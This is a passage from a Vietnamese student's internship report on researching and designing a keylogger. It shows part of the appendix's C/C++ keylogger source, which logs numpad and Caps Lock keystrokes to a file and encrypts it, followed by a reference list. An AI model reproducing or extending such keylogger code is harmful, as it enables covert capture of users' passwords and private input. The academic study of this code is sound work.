SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 34

Page 38: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

fputc('.',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD0: fputc('0',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD1: fputc('1',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD2: fputc('2',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD3: fputc('3',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD4: fputc('4',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD5: fputc('5',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD6: fputc('6',file); fclose(file); Ma_hoa();

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 35

Page 39: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC PHỤ LỤC

break; case VK_NUMPAD7: fputc('7',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD8: fputc('8',file); fclose(file); Ma_hoa(); break; case VK_NUMPAD9: fputc('9',file); fclose(file); Ma_hoa(); break; case VK_CAPITAL: fputs("\r\n[CAPS LOCK]\r\n",file); fclose(file); Ma_hoa(); break; default: fclose(file); Ma_hoa(); break; } }}}}}}}}

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 36

Page 40: Tìm hiểu keylogger và thiết kế chương trình keylogger

BÁO CAO TTTN ĐẠI HỌC TÀI LIỆU THAM KHẢO

TÀI LIỆU THAM KHẢO

4.1 Danh mục các Website tham khảo:

[1] http://www.parxy.com/history-keyloggers.html

[2]http://msdn.microsoft.com/enus/library/windows/desktop/aa385096%28v=vs.85%29.aspx

[3]http://msdn.microsoft.com/en-us/library/windows/desktop/aa385128(v=vs.85).aspx

[4]http://msdn.microsoft.com/en-us/library/windows/desktop/aa384363(v=vs.85).aspx

[5] http://www.cplusplus.com/forum/general/

[6] http://vi.wikipedia.org/wiki/Keylogger

[7] http://www.tutorialspoint.com/cplusplus/cpp_date_time.htm

[8] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm

[9] http://www.tutorialspoint.com/cplusplus/cpp_strings.htm

[10] http://www.irongeek.com/i.php?page=security/keylogger

[11] http://www.cpp-home.com/forum/viewtopic.php?f=4&t=15775

[12] http://www.cppforschool.com/project/tic-tac-toe-project.html

SVTH: VŨ MẠNH SƠN LỚP: D10CQCNAT01-N 37